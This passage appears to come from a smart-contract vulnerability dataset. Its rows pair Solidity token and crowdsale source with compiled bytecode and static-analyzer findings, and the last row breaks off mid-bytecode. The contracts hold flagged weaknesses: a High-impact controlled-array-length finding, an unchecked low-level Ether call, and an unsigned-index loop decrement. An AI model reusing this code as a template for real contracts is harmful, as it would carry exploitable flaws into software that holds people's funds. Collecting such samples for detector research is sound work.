mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) {
return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance);
}
function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(_releaseTime, _amount)
);
emit Lock(_holder, _amount, _releaseTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
}
lockInfo[_holder].length--;
}
function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(_releaseTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
} | 0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638456cb59116100de578063a9059cbb11610097578063df03458611610071578063df034586146104ff578063e2ab691d14610525578063e583983614610557578063f2fde38b1461057d5761018e565b8063a9059cbb14610473578063dd62ed3e1461049f578063de6baccb146104cd5761018e565b80638456cb59146103c15780638d1fdf2f146103c95780638da5cb5b146103ef57806395d89b41146104135780639dc29fac1461041b578063a457c2d7146104475761018e565b8063395093511161014b57806346cf1bb51161012557806346cf1bb5146103225780635c975abb1461036757806370a082311461036f5780637eee288d146103955761018e565b806339509351146102c65780633f4ba83a146102f257806345c8b1a6146102fc5761018e565b806306fdde0314610193578063095ea7b31461021057806318160ddd1461025057806323b872dd1461026a578063313ce567146102a0578063378dc3dc146102be575b600080fd5b61019b6105a3565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d55781810151838201526020016101bd565b50505050905090810190601f1680156102025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61023c6004803603604081101561022657600080fd5b506001600160a01b0381351690602001356105dc565b604080519115158252519081900360200190f35b6102586105f2565b60408051918252519081900360200190f35b61023c6004803603606081101561028057600080fd5b506001600160a01b038135811691602081013590911690604001356105f9565b6102a86106e0565b6040805160ff9092168252519081900360200190f35b6102586106e5565b61023c600480360360408110156102dc57600080fd5b506001600160a01b0381351690602001356106f6565b6102fa610737565b005b6102fa6004803603602081101561031257600080fd5b50356001600160a01b0316610824565b61034e6004803603604081101561033857600080fd5b506001600160a01b0381351690602001356108cd565b6040805192835260208301919091528051918290030190f35b61023c610946565b6102586004803603602081101561038557600080fd5b50356001600160a01b0316610956565b6102fa600480360360408110156103ab57600080fd5b506001600160a01b0381351690602001356109f0565b6102fa610c9e565b6102fa600480360360208110156103df57600080fd5b50356001600160a01b0316610d87565b6103f7610e33565b604080516001600160a01b039092168252519081900360200190f35b61019b610e42565b6102fa6004803603604081101561043157600080fd5b506001600160a01b038135169060200135610e65565b61023c6004803603604081101561045d57600080fd5b506001600160a01b038135169060200135610f63565b61023c6004803603604081101561048957600080fd5b506001600160a01b038135169060200135610f9f565b610258600480360360408110156104b557600080fd5b506001600160a01b0381358116916020013516611071565b61023c600480360360608110156104e357600080fd5b506001600160a01b03813516906020810135906040013561109c565b6102586004803603602081101561051557600080fd5b50356001600160a01b03166112b9565b6102fa6004803603606081101561053b57600080fd5b506001600160a01b0381351690602081013590604001356112d4565b61023c6004803603602081101561056d57600080fd5b50356001600160a01b0316611443565b6102fa6004803603602081101561059357600080fd5b50356001600160a01b0316611461565b6040518060400160405280601581526020017f4d657461766572736520636f6e76657267656e6365000000000000000000000081525081565b60006105e93384846114be565b50600192915050565b6002545b90565b600354600090600160a01b900460ff16156106535760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841660009081526004602052604090205460ff16156106c45760408051600160e51b62461bcd02815260206004820152601760248201527f46726f6d206163636f756e74206973206c6f636b65642e000000000000000000604482015290519081900360640190fd5b6106cd846115b0565b6106d88484846117d3565b949350505050565b601281565b6c02a68bedbb190931f65000000081565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610732908663ffffffff61182516565b6114be565b6003546001600160a01b031633146107885760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff166107e95760408051600160e51b62461bcd02815260206004820152600e60248201527f4e6f7420706175736564206e6f77000000000000000000000000000000000000604482015290519081900360640190fd5b60038054600160a01b60ff02191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b6003546001600160a01b031633146108755760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19169055815192835290517f4feb53e305297ab8fb8f3420c95ea04737addc254a7270d8fc4605d2b9c61dba9281900390910190a150565b6001600160a01b03821660009081526005602052604081208054829190849081106108f457fe5b600091825260208083206002909202909101546001600160a01b03871683526005909152604090912080548590811061092957fe5b906000526020600020906002020160010154915091509250929050565b600354600160a01b900460ff1681565b600080805b6001600160a01b0384166000908152600560205260409020548110156109cf576001600160a01b038416600090815260056020526040902080546109c59190839081106109a457fe5b9060005260206000209060020201600101548361182590919063ffffffff16565b915060010161095b565b506109e9816109dd85611882565b9063ffffffff61182516565b9392505050565b6003546001600160a01b03163314610a415760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b0382166000908152600560205260409020548110610ab05760408051600160e51b62461bcd02815260206004820152601460248201527f4e6f206c6f636b20696e666f726d6174696f6e2e000000000000000000000000604482015290519081900360640190fd5b6001600160a01b03821660009081526005602052604090208054610b12919083908110610ad957fe5b60009182526020808320600160029093020191909101546001600160a01b0386168352908290526040909120549063ffffffff61182516565b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f1919084908110610b6657fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b0382166000908152600560205260408120805483908110610bb157fe5b60009182526020808320600160029093020191909101929092556001600160a01b038416815260059091526040902054600019018114610c70576001600160a01b038216600090815260056020526040902080546000198101908110610c1357fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b031681526020019081526020016000208281548110610c5157fe5b6000918252602090912082546002909202019081556001918201549101555b6001600160a01b0382166000908152600560205260409020805490610c99906000198301611bc4565b505050565b6003546001600160a01b03163314610cef5760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b600354600160a01b900460ff1615610d465760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b60038054600160a01b60ff021916600160a01b1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b6003546001600160a01b03163314610dd85760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b038116600081815260046020908152604091829020805460ff19166001179055815192835290517f8a5c4736a33c7b7f29a2c34ea9ff9608afc5718d56f6fd6dcbd2d3711a1a49139281900390910190a150565b6003546001600160a01b031681565b604051806040016040528060048152602001600160e01b634d4554410281525081565b6003546001600160a01b03163314610eb65760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b610ebf82611882565b811115610f165760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b610f20828261189d565b6040805182815290516001600160a01b038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916105e9918590610732908663ffffffff61196716565b3360009081526004602052604081205460ff16156110075760408051600160e51b62461bcd02815260206004820152601960248201527f53656e646572206163636f756e74206973206c6f636b65642e00000000000000604482015290519081900360640190fd5b600354600160a01b900460ff161561105e5760408051600160e51b62461bcd02815260206004820152600f6024820152600160891b6e2830bab9b2b210313c9037bbb732b902604482015290519081900360640190fd5b611067336115b0565b6109e983836119c7565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6003546000906001600160a01b031633146110f05760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6001600160a01b03841661114e5760408051600160e51b62461bcd02815260206004820152600d60248201527f77726f6e67206164647265737300000000000000000000000000000000000000604482015290519081900360640190fd5b600354611163906001600160a01b0316611882565b8311156111ba5760408051600160e51b62461bcd02815260206004820152601260248201527f4e6f7420656e6f7567682062616c616e63650000000000000000000000000000604482015290519081900360640190fd5b6003546001600160a01b03166000908152602081905260409020546111e5908463ffffffff61196716565b600380546001600160a01b039081166000908152602081815260408083209590955588831680835260058252858320865180880188528981528084018b81528254600181810185559387529585902091516002909602909101948555519301929092559254845188815294519194921692600080516020611d33833981519152928290030190a3604080518481526020810184905281516001600160a01b038716927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b928290030190a25060019392505050565b6001600160a01b031660009081526005602052604090205490565b6003546001600160a01b031633146113255760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b8161132f84611882565b10156113855760408051600160e51b62461bcd02815260206004820152601560248201527f42616c616e636520697320746f6f20736d616c6c2e0000000000000000000000604482015290519081900360640190fd5b6001600160a01b0383166000908152602081905260409020546113ae908363ffffffff61196716565b6001600160a01b0384166000818152602081815260408083209490945560058152838220845180860186528681528083018881528254600181810185559386529484902091516002909502909101938455519201919091558251858152908101849052825191927f49eaf4942f1237055eb4cfa5f31c9dfe50d5b4ade01e021f7de8be2fbbde557b92918290030190a2505050565b6001600160a01b031660009081526004602052604090205460ff1690565b6003546001600160a01b031633146114b25760408051600160e51b62461bcd0281526020600482015260096024820152600160b91b682737ba1037bbb732b902604482015290519081900360640190fd5b6114bb816119d4565b50565b6001600160a01b03831661150657604051600160e51b62461bcd028152600401808060200182810382526024815260200180611d996024913960400191505060405180910390fd5b6001600160a01b03821661154e57604051600160e51b62461bcd028152600401808060200182810382526022815260200180611d116022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60005b6001600160a01b0382166000908152600560205260409020548110156117cf576001600160a01b03821660009081526005602052604090208054429190839081106115fa57fe5b906000526020600020906002020160000154116117c7576001600160a01b0382166000908152600560205260409020805461163a919083908110610ad957fe5b6001600160a01b03831660008181526020818152604080832094909455600590529190912080547f6381d9813cabeb57471b5a7e05078e64845ccdb563146a6911d536f24ce960f191908490811061168e57fe5b9060005260206000209060020201600101546040518082815260200191505060405180910390a26001600160a01b03821660009081526005602052604081208054839081106116d957fe5b60009182526020808320600160029093020191909101929092556001600160a01b03841681526005909152604090205460001901811461179c576001600160a01b03821660009081526005602052604090208054600019810190811061173b57fe5b906000526020600020906002020160056000846001600160a01b03166001600160a01b03168152602001908152602001600020828154811061177957fe5b600091825260209091208254600290920201908155600191820154910155600019015b6001600160a01b03821660009081526005602052604090208054906117c5906000198301611bc4565b505b6001016115b3565b5050565b60006117e0848484611a8e565b6001600160a01b03841660009081526001602090815260408083203380855292529091205461181b918691610732908663ffffffff61196716565b5060019392505050565b6000828201838110156109e95760408051600160e51b62461bcd02815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b031660009081526020819052604090205490565b6001600160a01b0382166118e557604051600160e51b62461bcd028152600401808060200182810382526021815260200180611d536021913960400191505060405180910390fd5b6002546118f8908263ffffffff61196716565b6002556001600160a01b038216600090815260208190526040902054611924908263ffffffff61196716565b6001600160a01b03831660008181526020818152604080832094909455835185815293519193600080516020611d33833981519152929081900390910190a35050565b6000828211156119c15760408051600160e51b62461bcd02815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60006105e9338484611a8e565b6001600160a01b038116611a325760408051600160e51b62461bcd02815260206004820152600d60248201527f416c7265616479204f776e657200000000000000000000000000000000000000604482015290519081900360640190fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611ad657604051600160e51b62461bcd028152600401808060200182810382526025815260200180611d746025913960400191505060405180910390fd5b6001600160a01b038216611b1e57604051600160e51b62461bcd028152600401808060200182810382526023815260200180611cee6023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054611b47908263ffffffff61196716565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b7c908263ffffffff61182516565b6001600160a01b03808416600081815260208181526040918290209490945580518581529051919392871692600080516020611d3383398151915292918290030190a3505050565b815481835581811115610c9957600083815260209020610c99916105f69160029182028101918502015b80821115611c085760008082556001820155600201611bee565b5090565b6001600160a01b038216611c6a5760408051600160e51b62461bcd02815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611c7d908263ffffffff61182516565b6002556001600160a01b038216600090815260208190526040902054611ca9908263ffffffff61182516565b6001600160a01b038316600081815260208181526040808320949094558351858152935192939192600080516020611d338339815191529281900390910190a3505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a165627a7a72305820ce80ac096722118fba8cb44aac571ece568840041d8d667733c3f4ea39b81d5b0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,607 |
0x4045b17c1c37cffbafc84d878f36240ab64b6534 | pragma solidity ^0.4.18;
contract HasManager {
address public manager;
modifier onlyManager {
require(msg.sender == manager);
_;
}
function transferManager(address _newManager) public onlyManager() {
require(_newManager != address(0));
manager = _newManager;
}
}
contract Ownable {
address public owner;
function Ownable() public { owner = msg.sender; }
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {owner = newOwner;}
}contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address _owner) public constant returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// Crowdsale contracts interface
contract ICrowdsaleProcessor is Ownable, HasManager {
modifier whenCrowdsaleAlive() {
require(isActive());
_;
}
modifier whenCrowdsaleFailed() {
require(isFailed());
_;
}
modifier whenCrowdsaleSuccessful() {
require(isSuccessful());
_;
}
modifier hasntStopped() {
require(!stopped);
_;
}
modifier hasBeenStopped() {
require(stopped);
_;
}
modifier hasntStarted() {
require(!started);
_;
}
modifier hasBeenStarted() {
require(started);
_;
}
// Minimal acceptable hard cap
uint256 constant public MIN_HARD_CAP = 1 ether;
// Minimal acceptable duration of crowdsale
uint256 constant public MIN_CROWDSALE_TIME = 3 days;
// Maximal acceptable duration of crowdsale
uint256 constant public MAX_CROWDSALE_TIME = 50 days;
// Becomes true when timeframe is assigned
bool public started;
// Becomes true if cancelled by owner
bool public stopped;
// Total collected Ethereum: must be updated every time tokens has been sold
uint256 public totalCollected;
// Total amount of project's token sold: must be updated every time tokens has been sold
uint256 public totalSold;
// Crowdsale minimal goal, must be greater or equal to Forecasting min amount
uint256 public minimalGoal;
// Crowdsale hard cap, must be less or equal to Forecasting max amount
uint256 public hardCap;
// Crowdsale duration in seconds.
// Accepted range is MIN_CROWDSALE_TIME..MAX_CROWDSALE_TIME.
uint256 public duration;
// Start timestamp of crowdsale, absolute UTC time
uint256 public startTimestamp;
// End timestamp of crowdsale, absolute UTC time
uint256 public endTimestamp;
// Allows to transfer some ETH into the contract without selling tokens
function deposit() public payable {}
// Returns address of crowdsale token, must be ERC20 compilant
function getToken() public returns(address);
// Transfers ETH rewards amount (if ETH rewards is configured) to Forecasting contract
function mintETHRewards(address _contract, uint256 _amount) public onlyManager();
// Mints token Rewards to Forecasting contract
function mintTokenRewards(address _contract, uint256 _amount) public onlyManager();
// Releases tokens (transfers crowdsale token from mintable to transferrable state)
function releaseTokens() public onlyManager() hasntStopped() whenCrowdsaleSuccessful();
// Stops crowdsale. Called by CrowdsaleController, the latter is called by owner.
// Crowdsale may be stopped any time before it finishes.
function stop() public onlyManager() hasntStopped();
// Validates parameters and starts crowdsale
function start(uint256 _startTimestamp, uint256 _endTimestamp, address _fundingAddress)
public onlyManager() hasntStarted() hasntStopped();
// Is crowdsale failed (completed, but minimal goal wasn't reached)
function isFailed() public constant returns (bool);
// Is crowdsale active (i.e. the token can be sold)
function isActive() public constant returns (bool);
// Is crowdsale completed successfully
function isSuccessful() public constant returns (bool);
}
// Basic crowdsale implementation both for regualt and 3rdparty Crowdsale contracts
contract BasicCrowdsale is ICrowdsaleProcessor {
event CROWDSALE_START(uint256 startTimestamp, uint256 endTimestamp, address fundingAddress);
// Where to transfer collected ETH
address public fundingAddress;
// Ctor.
function BasicCrowdsale(
address _owner,
address _manager
)
public
{
owner = _owner;
manager = _manager;
}
// called by CrowdsaleController to transfer reward part of ETH
// collected by successful crowdsale to Forecasting contract.
// This call is made upon closing successful crowdfunding process
// iff agreed ETH reward part is not zero
function mintETHRewards(
address _contract, // Forecasting contract
uint256 _amount // agreed part of totalCollected which is intended for rewards
)
public
onlyManager() // manager is CrowdsaleController instance
{
require(_contract.call.value(_amount)());
}
// cancels crowdsale
function stop() public onlyManager() hasntStopped() {
// we can stop only not started and not completed crowdsale
if (started) {
require(!isFailed());
require(!isSuccessful());
}
stopped = true;
}
// called by CrowdsaleController to setup start and end time of crowdfunding process
// as well as funding address (where to transfer ETH upon successful crowdsale)
function start(
uint256 _startTimestamp,
uint256 _endTimestamp,
address _fundingAddress
)
public
onlyManager() // manager is CrowdsaleController instance
hasntStarted() // not yet started
hasntStopped() // crowdsale wasn't cancelled
{
require(_fundingAddress != address(0));
// start time must not be earlier than current time
require(_startTimestamp >= block.timestamp);
// range must be sane
require(_endTimestamp > _startTimestamp);
duration = _endTimestamp - _startTimestamp;
// duration must fit constraints
require(duration >= MIN_CROWDSALE_TIME && duration <= MAX_CROWDSALE_TIME);
startTimestamp = _startTimestamp;
endTimestamp = _endTimestamp;
fundingAddress = _fundingAddress;
// now crowdsale is considered started, even if the current time is before startTimestamp
started = true;
CROWDSALE_START(_startTimestamp, _endTimestamp, _fundingAddress);
}
// must return true if crowdsale is over, but it failed
function isFailed()
public
constant
returns(bool)
{
return (
// it was started
started &&
// crowdsale period has finished
block.timestamp >= endTimestamp &&
// but collected ETH is below the required minimum
totalCollected < minimalGoal
);
}
// must return true if crowdsale is active (i.e. the token can be bought)
function isActive()
public
constant
returns(bool)
{
return (
// it was started
started &&
// hard cap wasn't reached yet
totalCollected < hardCap &&
// and current time is within the crowdfunding period
block.timestamp >= startTimestamp &&
block.timestamp < endTimestamp
);
}
// must return true if crowdsale completed successfully
function isSuccessful()
public
constant
returns(bool)
{
return (
// either the hard cap is collected
totalCollected >= hardCap ||
// ...or the crowdfunding period is over, but the minimum has been reached
(block.timestamp >= endTimestamp && totalCollected >= minimalGoal)
);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract SmartOToken is Ownable, IERC20 {
using SafeMath for uint256;
/* Public variables of the token */
string public constant name = "STO";
string public constant symbol = "STO";
uint public constant decimals = 18;
uint256 public constant initialSupply = 12000000000 * 1 ether;
uint256 public totalSupply;
/* This creates an array with all balances */
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/* Events */
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
/* Constuctor: Initializes contract with initial supply tokens to the creator of the contract */
function SmartOToken() public {
balances[msg.sender] = initialSupply; // Give the creator all initial tokens
totalSupply = initialSupply; // Update total supply
}
/* Implementation of ERC20Interface */
function totalSupply() public constant returns (uint256) { return totalSupply; }
function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; }
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _amount) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balances[_from] >= _amount); // Check if the sender has enough
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
}
function transfer(address _to, uint256 _amount) public returns (bool) {
_transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require (_value <= allowed[_from][msg.sender]); // Check allowance
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256) {
return allowed[_owner][_spender];
}
}
// Custom crowdsale example
contract SmatrOCrowdsale is BasicCrowdsale {
// Crowdsale participants
mapping(address => uint256) participants;
// tokens per ETH fixed price
uint256 tokensPerEthPrice;
// Crowdsale token
SmartOToken crowdsaleToken;
// Ctor. In this example, minimalGoal, hardCap, and price are not changeable.
// In more complex cases, those parameters may be changed until start() is called.
function SmatrOCrowdsale(
uint256 _minimalGoal,
uint256 _hardCap,
uint256 _tokensPerEthPrice,
address _token
)
public
// simplest case where manager==owner. See onlyOwner() and onlyManager() modifiers
// before functions to figure out the cases in which those addresses should differ
BasicCrowdsale(msg.sender, msg.sender)
{
// just setup them once...
minimalGoal = _minimalGoal;
hardCap = _hardCap;
tokensPerEthPrice = _tokensPerEthPrice;
crowdsaleToken = SmartOToken(_token);
}
// Here goes ICrowdsaleProcessor implementation
// returns address of crowdsale token. The token must be ERC20-compliant
function getToken()
public
returns(address)
{
return address(crowdsaleToken);
}
// called by CrowdsaleController to transfer reward part of
// tokens sold by successful crowdsale to Forecasting contract.
// This call is made upon closing successful crowdfunding process.
function mintTokenRewards(
address _contract, // Forecasting contract
uint256 _amount // agreed part of totalSold which is intended for rewards
)
public
onlyManager() // manager is CrowdsaleController instance
{
// crowdsale token is mintable in this example, tokens are created here
crowdsaleToken.transfer(_contract, _amount);
}
// transfers crowdsale token from mintable to transferrable state
function releaseTokens()
public
onlyManager() // manager is CrowdsaleController instance
hasntStopped() // crowdsale wasn't cancelled
whenCrowdsaleSuccessful() // crowdsale was successful
{
// do nothing
}
// Here go crowdsale process itself and token manipulations
function setRate(uint256 _tokensPerEthPrice)
public
onlyOwner
{
tokensPerEthPrice = _tokensPerEthPrice;
}
// default function allows for ETH transfers to the contract
function () payable public {
require(msg.value >= 0.1 * 1 ether);
// and it sells the token
sellTokens(msg.sender, msg.value);
}
// sels the project's token to buyers
function sellTokens(address _recepient, uint256 _value)
internal
hasBeenStarted() // crowdsale started
hasntStopped() // wasn't cancelled by owner
whenCrowdsaleAlive() // in active state
{
uint256 newTotalCollected = totalCollected + _value;
if (hardCap < newTotalCollected) {
// don't sell anything above the hard cap
uint256 refund = newTotalCollected - hardCap;
uint256 diff = _value - refund;
// send the ETH part which exceeds the hard cap back to the buyer
_recepient.transfer(refund);
_value = diff;
}
// token amount as per price (fixed in this example)
uint256 tokensSold = _value * tokensPerEthPrice;
// create new tokens for this buyer
crowdsaleToken.transfer(_recepient, tokensSold);
// remember the buyer so he/she/it may refund its ETH if crowdsale failed
participants[_recepient] += _value;
// update total ETH collected
totalCollected += _value;
// update totel tokens sold
totalSold += tokensSold;
}
// project's owner withdraws ETH funds to the funding address upon successful crowdsale
function withdraw(
uint256 _amount // can be done partially
)
public
onlyOwner() // project's owner
hasntStopped() // crowdsale wasn't cancelled
whenCrowdsaleSuccessful() // crowdsale completed successfully
{
require(_amount <= this.balance);
fundingAddress.transfer(_amount);
}
// backers refund their ETH if the crowdsale was cancelled or has failed
function refund()
public
{
// either cancelled or failed
require(stopped || isFailed());
uint256 amount = participants[msg.sender];
// prevent from doing it twice
require(amount > 0);
participants[msg.sender] = 0;
msg.sender.transfer(amount);
}
} | 0x6060604052600436106101665763ffffffff60e060020a60003504166307da68f581146101875780630fb5a6b41461019a5780631510ca79146101bf57806318c9ef97146101d25780631f2698ab146101f457806321df0da71461021b57806322f3e2d41461024a5780632e1a7d4d1461025d57806334fcf43714610273578063481c6a7514610289578063590e1ae31461029c5780636385cbbe146102af5780637234ba0c146102c257806375f12b21146102d557806376ddfc39146102e85780638da5cb5b146102fb5780639106d7ba1461030e578063a51fe11314610321578063a85adeab14610346578063a96f866814610359578063b23c1f191461036c578063ba0e930a1461038e578063d0e30db0146103ad578063d3b7bfb4146103b5578063e29eb836146103c8578063e6fd48bc146103db578063ec4cd0cf146103ee578063f2fde38b14610401578063f416334014610420578063fb86a40414610433575b67016345785d8a000034101561017b57600080fd5b6101853334610446565b005b341561019257600080fd5b61018561059c565b34156101a557600080fd5b6101ad61062b565b60405190815260200160405180910390f35b34156101ca57600080fd5b6101ad610631565b34156101dd57600080fd5b610185600160a060020a0360043516602435610638565b34156101ff57600080fd5b610207610685565b604051901515815260200160405180910390f35b341561022657600080fd5b61022e610695565b604051600160a060020a03909116815260200160405180910390f35b341561025557600080fd5b6102076106a4565b341561026857600080fd5b6101856004356106e3565b341561027e57600080fd5b610185600435610775565b341561029457600080fd5b61022e610795565b34156102a757600080fd5b6101856107a4565b34156102ba57600080fd5b6101ad610837565b34156102cd57600080fd5b6101ad61083d565b34156102e057600080fd5b610207610844565b34156102f357600080fd5b6101ad610854565b341561030657600080fd5b61022e610860565b341561031957600080fd5b6101ad61086f565b341561032c57600080fd5b610185600435602435600160a060020a0360443516610875565b341561035157600080fd5b6101ad6109c4565b341561036457600080fd5b6101856109ca565b341561037757600080fd5b610185600160a060020a0360043516602435610a11565b341561039957600080fd5b610185600160a060020a0360043516610aaa565b610185610a0f565b34156103c057600080fd5b61022e610b09565b34156103d357600080fd5b6101ad610b18565b34156103e657600080fd5b6101ad610b1e565b34156103f957600080fd5b610207610b24565b341561040c57600080fd5b610185600160a060020a0360043516610b4d565b341561042b57600080fd5b610207610b97565b341561043e57600080fd5b6101ad610bc7565b600080600080600160149054906101000a900460ff16151561046757600080fd5b60015460a860020a900460ff161561047e57600080fd5b6104866106a4565b151561049157600080fd5b846002540193508360055410156104e357600554840392508285039150600160a060020a03861683156108fc0284604051600060405180830381858888f1935050505015156104df57600080fd5b8194505b50600b54600c5490850290600160a060020a031663a9059cbb878360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561054a57600080fd5b6102c65a03f1151561055b57600080fd5b50505060405180515050600160a060020a039095166000908152600a6020526040902080548501905550506002805490920190915550600380549091019055565b60015433600160a060020a039081169116146105b757600080fd5b60015460a860020a900460ff16156105ce57600080fd5b60015460a060020a900460ff1615610604576105e8610b97565b156105f257600080fd5b6105fa610b24565b1561060457600080fd5b6001805475ff000000000000000000000000000000000000000000191660a860020a179055565b60065481565b6241eb0081565b60015433600160a060020a0390811691161461065357600080fd5b81600160a060020a03168160405160006040518083038185876187965a03f192505050151561068157600080fd5b5050565b60015460a060020a900460ff1681565b600c54600160a060020a031690565b60015460009060a060020a900460ff1680156106c35750600554600254105b80156106d157506007544210155b80156106de575060085442105b905090565b60005433600160a060020a039081169116146106fe57600080fd5b60015460a86